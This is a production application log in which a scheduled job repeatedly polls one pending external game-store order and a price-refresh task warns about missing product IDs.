[2026-03-24 07:04:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"hcuqse9QOw0tcvjW8CwBBloQltGd0Cxj","execution_time":"2026-03-24 07:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:04:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"hcuqse9QOw0tcvjW8CwBBloQltGd0Cxj","execution_time":"2026-03-24 07:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:04:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"hcuqse9QOw0tcvjW8CwBBloQltGd0Cxj","execution_time":"2026-03-24 07:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 07:05:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 07:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 07:05:04] production.INFO: async() رجع: true  
[2026-03-24 07:05:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 07:05:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 07:05:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 07:05:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 07:05:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 07:05:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 07:05:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 07:05:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 07:05:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 07:05:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 07:05:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 07:06:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"98LUFX989z3wvSd8cHo3j1OFdzlqpNYs","execution_time":"2026-03-24 07:06:03"} 
[2026-03-24 07:06:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"98LUFX989z3wvSd8cHo3j1OFdzlqpNYs","execution_time":"2026-03-24 07:06:03","total_operations":1,"sites_count":1} 
[2026-03-24 07:06:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"98LUFX989z3wvSd8cHo3j1OFdzlqpNYs","execution_time":"2026-03-24 07:06:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:06:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"98LUFX989z3wvSd8cHo3j1OFdzlqpNYs","execution_time":"2026-03-24 07:06:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:06:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"98LUFX989z3wvSd8cHo3j1OFdzlqpNYs","execution_time":"2026-03-24 07:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"98LUFX989z3wvSd8cHo3j1OFdzlqpNYs","execution_time":"2026-03-24 07:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:06:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"98LUFX989z3wvSd8cHo3j1OFdzlqpNYs","execution_time":"2026-03-24 07:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:06:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"98LUFX989z3wvSd8cHo3j1OFdzlqpNYs","execution_time":"2026-03-24 07:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:06:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"98LUFX989z3wvSd8cHo3j1OFdzlqpNYs","execution_time":"2026-03-24 07:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:08:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"4lS1rwTmGfxe84R4f2USSqbmJtYEYwel","execution_time":"2026-03-24 07:08:03"} 
[2026-03-24 07:08:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"4lS1rwTmGfxe84R4f2USSqbmJtYEYwel","execution_time":"2026-03-24 07:08:03","total_operations":1,"sites_count":1} 
[2026-03-24 07:08:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"4lS1rwTmGfxe84R4f2USSqbmJtYEYwel","execution_time":"2026-03-24 07:08:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:08:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"4lS1rwTmGfxe84R4f2USSqbmJtYEYwel","execution_time":"2026-03-24 07:08:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:08:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"4lS1rwTmGfxe84R4f2USSqbmJtYEYwel","execution_time":"2026-03-24 07:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"4lS1rwTmGfxe84R4f2USSqbmJtYEYwel","execution_time":"2026-03-24 07:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:08:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"4lS1rwTmGfxe84R4f2USSqbmJtYEYwel","execution_time":"2026-03-24 07:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:08:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"4lS1rwTmGfxe84R4f2USSqbmJtYEYwel","execution_time":"2026-03-24 07:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:08:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"4lS1rwTmGfxe84R4f2USSqbmJtYEYwel","execution_time":"2026-03-24 07:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:10:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"omMuHurMQRoRMOsyt7Wwp3EYTkfXojLh","execution_time":"2026-03-24 07:10:02"} 
[2026-03-24 07:10:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"omMuHurMQRoRMOsyt7Wwp3EYTkfXojLh","execution_time":"2026-03-24 07:10:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:10:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"omMuHurMQRoRMOsyt7Wwp3EYTkfXojLh","execution_time":"2026-03-24 07:10:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:10:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"omMuHurMQRoRMOsyt7Wwp3EYTkfXojLh","execution_time":"2026-03-24 07:10:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:10:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"omMuHurMQRoRMOsyt7Wwp3EYTkfXojLh","execution_time":"2026-03-24 07:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"omMuHurMQRoRMOsyt7Wwp3EYTkfXojLh","execution_time":"2026-03-24 07:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:10:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"omMuHurMQRoRMOsyt7Wwp3EYTkfXojLh","execution_time":"2026-03-24 07:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:10:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"omMuHurMQRoRMOsyt7Wwp3EYTkfXojLh","execution_time":"2026-03-24 07:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:10:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"omMuHurMQRoRMOsyt7Wwp3EYTkfXojLh","execution_time":"2026-03-24 07:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 07:10:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 07:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 07:10:04] production.INFO: async() رجع: true  
[2026-03-24 07:10:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 07:10:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 07:10:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 07:10:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 07:10:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 07:10:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 07:10:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 07:10:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 07:10:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 07:10:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 07:10:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 07:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"wTv109kmhYW0Sm7Ky8VFpiCXxQTmxCR5","execution_time":"2026-03-24 07:12:02"} 
[2026-03-24 07:12:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"wTv109kmhYW0Sm7Ky8VFpiCXxQTmxCR5","execution_time":"2026-03-24 07:12:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:12:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"wTv109kmhYW0Sm7Ky8VFpiCXxQTmxCR5","execution_time":"2026-03-24 07:12:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:12:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"wTv109kmhYW0Sm7Ky8VFpiCXxQTmxCR5","execution_time":"2026-03-24 07:12:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:12:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"wTv109kmhYW0Sm7Ky8VFpiCXxQTmxCR5","execution_time":"2026-03-24 07:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"wTv109kmhYW0Sm7Ky8VFpiCXxQTmxCR5","execution_time":"2026-03-24 07:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:12:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"wTv109kmhYW0Sm7Ky8VFpiCXxQTmxCR5","execution_time":"2026-03-24 07:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:12:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"wTv109kmhYW0Sm7Ky8VFpiCXxQTmxCR5","execution_time":"2026-03-24 07:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:12:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"wTv109kmhYW0Sm7Ky8VFpiCXxQTmxCR5","execution_time":"2026-03-24 07:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:14:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"QVprCMWEe2TNDSKESJhJUMxOsAtGWokz","execution_time":"2026-03-24 07:14:02"} 
[2026-03-24 07:14:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"QVprCMWEe2TNDSKESJhJUMxOsAtGWokz","execution_time":"2026-03-24 07:14:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:14:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"QVprCMWEe2TNDSKESJhJUMxOsAtGWokz","execution_time":"2026-03-24 07:14:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:14:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"QVprCMWEe2TNDSKESJhJUMxOsAtGWokz","execution_time":"2026-03-24 07:14:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:14:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"QVprCMWEe2TNDSKESJhJUMxOsAtGWokz","execution_time":"2026-03-24 07:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"QVprCMWEe2TNDSKESJhJUMxOsAtGWokz","execution_time":"2026-03-24 07:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:14:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"QVprCMWEe2TNDSKESJhJUMxOsAtGWokz","execution_time":"2026-03-24 07:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:14:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"QVprCMWEe2TNDSKESJhJUMxOsAtGWokz","execution_time":"2026-03-24 07:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:14:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"QVprCMWEe2TNDSKESJhJUMxOsAtGWokz","execution_time":"2026-03-24 07:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 07:15:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 07:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 07:15:04] production.INFO: async() رجع: true  
[2026-03-24 07:15:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 07:15:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 07:15:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 07:15:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 07:15:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 07:15:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 07:15:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 07:15:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 07:15:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 07:15:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 07:15:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 07:16:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"TDPCr3Sb9eXkX1bcF76oZTrtaO8knt57","execution_time":"2026-03-24 07:16:03"} 
[2026-03-24 07:16:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"TDPCr3Sb9eXkX1bcF76oZTrtaO8knt57","execution_time":"2026-03-24 07:16:03","total_operations":1,"sites_count":1} 
[2026-03-24 07:16:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"TDPCr3Sb9eXkX1bcF76oZTrtaO8knt57","execution_time":"2026-03-24 07:16:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:16:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"TDPCr3Sb9eXkX1bcF76oZTrtaO8knt57","execution_time":"2026-03-24 07:16:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:16:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"TDPCr3Sb9eXkX1bcF76oZTrtaO8knt57","execution_time":"2026-03-24 07:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:16:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TDPCr3Sb9eXkX1bcF76oZTrtaO8knt57","execution_time":"2026-03-24 07:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:16:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"TDPCr3Sb9eXkX1bcF76oZTrtaO8knt57","execution_time":"2026-03-24 07:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:16:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"TDPCr3Sb9eXkX1bcF76oZTrtaO8knt57","execution_time":"2026-03-24 07:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:16:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"TDPCr3Sb9eXkX1bcF76oZTrtaO8knt57","execution_time":"2026-03-24 07:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:18:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"TPa8R6VrXQJuogixhTPAKHVGGFtMqaG2","execution_time":"2026-03-24 07:18:03"} 
[2026-03-24 07:18:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"TPa8R6VrXQJuogixhTPAKHVGGFtMqaG2","execution_time":"2026-03-24 07:18:03","total_operations":1,"sites_count":1} 
[2026-03-24 07:18:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"TPa8R6VrXQJuogixhTPAKHVGGFtMqaG2","execution_time":"2026-03-24 07:18:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:18:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"TPa8R6VrXQJuogixhTPAKHVGGFtMqaG2","execution_time":"2026-03-24 07:18:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:18:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"TPa8R6VrXQJuogixhTPAKHVGGFtMqaG2","execution_time":"2026-03-24 07:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TPa8R6VrXQJuogixhTPAKHVGGFtMqaG2","execution_time":"2026-03-24 07:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:18:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"TPa8R6VrXQJuogixhTPAKHVGGFtMqaG2","execution_time":"2026-03-24 07:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:18:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"TPa8R6VrXQJuogixhTPAKHVGGFtMqaG2","execution_time":"2026-03-24 07:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:18:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"TPa8R6VrXQJuogixhTPAKHVGGFtMqaG2","execution_time":"2026-03-24 07:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:20:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"9PriygWTCmPWRM7Q58Xq2VdyzFsPQGxp","execution_time":"2026-03-24 07:20:03"} 
[2026-03-24 07:20:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"9PriygWTCmPWRM7Q58Xq2VdyzFsPQGxp","execution_time":"2026-03-24 07:20:03","total_operations":1,"sites_count":1} 
[2026-03-24 07:20:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"9PriygWTCmPWRM7Q58Xq2VdyzFsPQGxp","execution_time":"2026-03-24 07:20:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:20:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"9PriygWTCmPWRM7Q58Xq2VdyzFsPQGxp","execution_time":"2026-03-24 07:20:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:20:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"9PriygWTCmPWRM7Q58Xq2VdyzFsPQGxp","execution_time":"2026-03-24 07:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"9PriygWTCmPWRM7Q58Xq2VdyzFsPQGxp","execution_time":"2026-03-24 07:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:20:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"9PriygWTCmPWRM7Q58Xq2VdyzFsPQGxp","execution_time":"2026-03-24 07:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:20:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"9PriygWTCmPWRM7Q58Xq2VdyzFsPQGxp","execution_time":"2026-03-24 07:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:20:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"9PriygWTCmPWRM7Q58Xq2VdyzFsPQGxp","execution_time":"2026-03-24 07:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:20:03] production.INFO: Executing GetProducts task...  
[2026-03-24 07:20:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 07:20:03] production.INFO: Executing GetProducts task...  
[2026-03-24 07:20:05] production.INFO: async() رجع: true  
[2026-03-24 07:20:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 07:20:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 07:20:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 07:20:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 07:20:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 07:20:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 07:20:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 07:20:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 07:20:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 07:20:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 07:20:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 07:22:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"tUUzANiYwLYoQj2Jam3Ro2WrrmGax4U1","execution_time":"2026-03-24 07:22:01"} 
[2026-03-24 07:22:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"tUUzANiYwLYoQj2Jam3Ro2WrrmGax4U1","execution_time":"2026-03-24 07:22:01","total_operations":1,"sites_count":1} 
[2026-03-24 07:22:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"tUUzANiYwLYoQj2Jam3Ro2WrrmGax4U1","execution_time":"2026-03-24 07:22:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:22:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"tUUzANiYwLYoQj2Jam3Ro2WrrmGax4U1","execution_time":"2026-03-24 07:22:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:22:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"tUUzANiYwLYoQj2Jam3Ro2WrrmGax4U1","execution_time":"2026-03-24 07:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:22:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tUUzANiYwLYoQj2Jam3Ro2WrrmGax4U1","execution_time":"2026-03-24 07:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:22:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"tUUzANiYwLYoQj2Jam3Ro2WrrmGax4U1","execution_time":"2026-03-24 07:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:22:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"tUUzANiYwLYoQj2Jam3Ro2WrrmGax4U1","execution_time":"2026-03-24 07:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:22:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"tUUzANiYwLYoQj2Jam3Ro2WrrmGax4U1","execution_time":"2026-03-24 07:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:24:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"lHOL7aqyPtQxCGZ63vbF6Jj65ABbicjj","execution_time":"2026-03-24 07:24:01"} 
[2026-03-24 07:24:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"lHOL7aqyPtQxCGZ63vbF6Jj65ABbicjj","execution_time":"2026-03-24 07:24:01","total_operations":1,"sites_count":1} 
[2026-03-24 07:24:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"lHOL7aqyPtQxCGZ63vbF6Jj65ABbicjj","execution_time":"2026-03-24 07:24:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
